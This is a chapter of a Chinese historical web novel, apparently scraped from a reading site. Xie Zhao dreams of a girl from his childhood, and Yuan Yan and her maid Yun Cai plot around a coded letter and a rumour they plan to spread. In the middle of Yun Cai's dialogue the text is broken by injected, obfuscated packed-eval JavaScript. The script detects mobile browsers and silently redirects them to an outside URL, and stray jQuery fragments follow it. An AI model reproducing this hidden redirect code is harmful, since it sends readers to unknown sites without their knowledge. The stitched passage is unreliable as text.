默认冷灰
24号文字
方正启体

27. 第 27 章

作者:灼焰本书字数:K更新时间:
    人影幢幢,视线从模糊渐渐清晰。


    谢兆发现自己站在一座大宅子前,视线倏而仰视,倏而又几近平视,抬步往里面走,却发现脚步似有千斤重,如何都迈不开。


    宅子大门里跑出来一个穿着藕色棉裙的小小姑娘,手里提着个样式小巧却精致繁复的鱼灯,跑跳的时候,鱼灯在空中摇头摆尾,仿佛悠然游曳湖水中。


    寒冬腊月的,他双手拢袖,看着她那边。


    小小姑娘忽然望向他这处,蓦地眉眼弯弯笑起来,大声喊着:“兆儿哥哥!”


    谢兆蓦地恍惚,竟在那一瞬立刻意识到自己是在梦中,却始终不愿醒来。


    小小姑娘已经跑向他,却又像原地踱步,如何也到不了近前。


    他焦急万分,双脚却始终挪不动分毫。


    突然场景变换,谢兆视野变窄,与那小小姑娘坐在池塘边,姑娘晃荡着一双短腿,和他轻声说着悄悄话。


    “兆儿哥哥,母亲偷偷告诉我,她的家乡在很远很远的地方哩!”


    “母亲应该非常想念家乡。”


    “她有时会坐在后院看那些奇花异草,一看就是一日,父亲唉声叹气,偷偷和我说,那是母亲在想家呢。”


    “兆儿哥哥,很远很远,有多远呢?”


    “母亲的家乡,到底在什么地方啊?”


    谢兆张开嘴想说话,却发不清楚声音,像是整个人深陷湖中,五官都被湖水充满。


    下一瞬,他突然被谁从后面推了一把,随即身不由己坠入冰冷湖底——


    在窒息之前,他骤然睁开眼。


    大口大口呼吸。


    -


    一大早,韵采脚步匆匆,险些与正好出来的小丫鬟撞在一处,丫鬟刚刚侍奉完大小姐洗漱穿衣,手里端着半满的铜盆,只差那么一寸,就要泼她个满怀。


    “小心!”不见韵采有什么大动作,像是只虚抬了下手,便将摇摇欲坠的丫鬟稳稳扶住,再朝那张惊慌失措的脸微微一笑,“无事无事,快些去收拾。”


    丫鬟整个人晕晕乎乎,根本顾不上细想。


    袁彦正准备用早饭,见韵采进来,招手道:“怎么这么早?坐下一块吃!”说罢推了一碟子素包过去,“早知你来,就让厨房蒸些荤的了。”


    韵采依言坐在了对面,没立刻伸手去拿,轻声说道:“姑娘,一早南边传消息来,那位殿下,”她指了指上面,“早前派人走了一趟南疆各处,搜集了许多关于薛尚书在任时候之事,以及永州嬴氏当年是否有人幸存——那些消息这会应该已经在那位的桌案上了。”


    袁彦并不如何惊讶,闲适吃着碗里的咸粥,笑说:“不错不错,比我的预期要早上许多。”


    韵采一口咬掉大半个菜包,三两下咽进去,问道:“会不会出意外?”


    袁彦神色淡淡,“我们从南疆走到平京城,一路铺垫,说不上艰难,却也不那么顺利。这座都城南北相距那么远,差不多是整个南疆各州加在一起了,人员复杂,人心也是,就算顶着户部尚书嫡长女的身份,做起事来亦有诸多不便。虽然出生在这里,但故乡却终究成了他乡,毕竟离开得太早也太久,根基尽毁。其实意外于我来讲并不可怕,怕的是心愿难以达成,这些年的筹谋全部付诸东流。”


    韵采几口解决了自己的早饭,就着一口羊奶将梗在胸口的包子顺下去,噎得直抻脖子,说道:“可是姑娘确信他知道后真的会帮忙而并非阻挠?”


    虽然瑞王殿下姓“谢”,可身体里也流淌了一半司空家的血。


    袁彦吃掉最后一口粥,并未多说,只点点头,“会的。”


    韵采眼神微亮,小声问:“姑娘做了推衍?”


    袁彦摇头,“不曾。”


    韵采大为不解。


    袁彦起身去到梳妆台前,从收放整齐的其中一个稍小些的妆奁内,打开其中一层抽屉,从中拈出一枚寸余长的秀珍竹筒。


    “这是……祝氏身上搜出来的那个?”


    “没错,”袁彦打开竹筒,倒出其中纸卷,随口道,“祝大学士尚未致仕时,素有两袖清风一说,不站队,不应酬结党,只守着先帝一人,先帝驾崩,他便告老还乡,谁的面子都不给,谁的权势都不怕,知道最难得的是什么吗?”她笑起来,自问自答,“大学士自欺欺人了一辈子,到死都在骗自己。”


    韵采道:“若真是当了一辈子闲官,又何必早早与姜家定了亲,虽说这中间免不得一番你推我往的操作,看似一段佳缘美满,可若细心分析之后,是能够从中梳理出脉络线条的。”


    “在朝多年,被权利浸染,有几个还能记得自己当初的所谓初心?从踌躇满志到蝇营狗苟,差不多就是大多数官场人的一辈子了,这只是运气好点的,不好的,基本上在踌躇满志之时就被打杀了事,不过运气好赖,最后都逃不过一个东窗事发,九族横死。”


    袁彦笑了笑,“当然,事无绝对,也有那欺天瞒地骗自己,寿终正寝了的,只不过那位祝大学士运气确实没那么好罢了。”


    纸卷窄窄一条,上面蝇头小楷几百字,说的是那澹洲的秋后时节,举世独有的红叶枫华落满洲,洋洋洒洒,抑扬顿挫,联篇累牍。乍看之下,不过都是些对于那独有景色堆叠的溢美辞藻,然而藏头藏尾,细细看去,大致意思却只有寥寥几字:他已知晓。


    与此事无关之人,就算看出其中玄妙,也仍然不明所以,可若被相关之人拿到,便就成了一次次未雨绸缪,与釜底抽薪了。


    昔年那位文武双全的天下兵马大元帅,故乡便在澹洲,大长公主司空青蓝婚后还曾随夫搬迁,在那澹洲住了将近三年。


    “他既做了刑部侍郎,便相当于和我们站在了一条船上,祝氏时隔多年再次进京,一家三口借着探望女儿妹妹的名义送信,不可为不谨慎,以为咱们那位刑部侍郎心中不知吗?只不过是被我们抄了先手,不然为何事情一出,他便和那位丁县丞前后脚赶到?水玉楼离着刑部可有至少一个时辰的路呢!那三人的尸身在仵作处停留多日,恐怕早就不知被里里外外翻过多少遍了。”


    韵采想了想,尝试着问:“姑娘的意思,这张纸里所说的事情,如今在我们手中,算是掌握了那位大人的一个把柄?”


    袁彦笑着点头。


    算是吧。


    韵采有些担忧,“姑娘,虽然只打过一次照面,但直觉告诉我,如无必要,最好还是得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443183|169396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远离那位为上。”


    “晚了,”袁彦声音似喃喃,幽幽一叹,重复道,“晚了。”


    韵采也知道自己是在事后诸葛了,心情沉重,只是又很快轻松起来,怕什么,兵来将挡就是了。老话说乱拳打死老师傅,就是再如何危险的人,还不是俗子凡胎一个,岂能时时刻刻保持警惕,若不警惕,哈哈,真当自己刀枪不入不成?只要到时候教她有机会在他身上留下几个洞,便能任是大罗金仙来了,也要摇头叹上一句“药石罔效”!


    “姑娘不怕,将来平京事了,我替姑娘给他几刀便是!”


    袁彦哭笑不得,哪里知道韵采这一呼一吸间都想了什么乱七八糟,不过听她有此一说,心中便明白几分,倒也没特意去透露什么,只是点点头说:“此事不急。”


    韵采点头,的确还早。


    “绯绯今日动身?”


    “没错,大概一旬左右就能到京,同时也给阎婆婆去了信,请她处理完青罗郡那几人的后事,再往永州方向稍稍绕一下,按照脚程,应该是能碰上面的,绯绯身边也跟了两个我那边的不记名弟子,身手都相当不俗,她自己也为防意外易了容,所以进京这一路,姑娘只管放心。”


    袁彦将秀珍竹筒重新收好放回去,笑道:“你办事周到,我哪有什么不放心的。”


    “对了姑娘,郭家那位二公子的生辰就在五日后,他家街对面的乞儿送来消息说,今年二公子要在水玉楼庆生,看样子是要大办特办,已经预定好房间了。”


    “寒窗苦读十几载,一朝喜中探花郎,确实是该好好庆祝,”袁彦想了想,告诉她,“那么我们准备的那则消息,就要在二公子生辰的隔天,传遍平京。”


    韵采想要点头回应一声,可心中那股难受劲儿便再次涌上来,从那日打春宴回来,姑娘冒出来那个想法起,她就有一万个不甘不愿,此刻听她如此云淡风轻地说出来,心里更别提是何滋味了,忍不住埋怨,“姑娘也忒不看重自己名声了!”


    袁彦不以为意,“也不能拿来当饭吃,更不能助我完成平京诸事,名声而已,要它何用?”


    “话虽如此,姑娘以后总该是要嫁人的,消息一经放出,别说是说亲了,怕是往后就连提到姑娘,都得先在嘴里敬而远之了!”


    试问哪家闺阁女子不将名声看得比命重?说到底还是他们眼下势单力薄,若姑娘家中长辈犹在,又岂会教那些个外人掣肘,迫得人不得不处处小心应对!


    “无妨的。”袁彦轻轻道。


    韵采偏头看过去,见她家姑娘双目正望向远方天际,眉如远山,眼眸温柔,呆了呆,便鬼使神差说了句,“待平京事了离开,我便陪着姑娘去除了南疆以外的地界瞧瞧,天大地大的,也不是只有嫁人这一条路可走。寻常女子没得选,姑娘又不是!”


    袁彦转过头来,蓦然一笑,大概是早上赶得急,头上的素簪都戴歪了,抬手帮她整理好,左看右看一番,赞道:“真好看。”


    韵采想笑又强忍着,以至于脸色颇古怪。


    “除此之外都是小事,都可以后再说。”


    韵采整个人站得笔直,拍了拍腰间,“姑娘有我呢,我有好刀,大可万事不忧!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)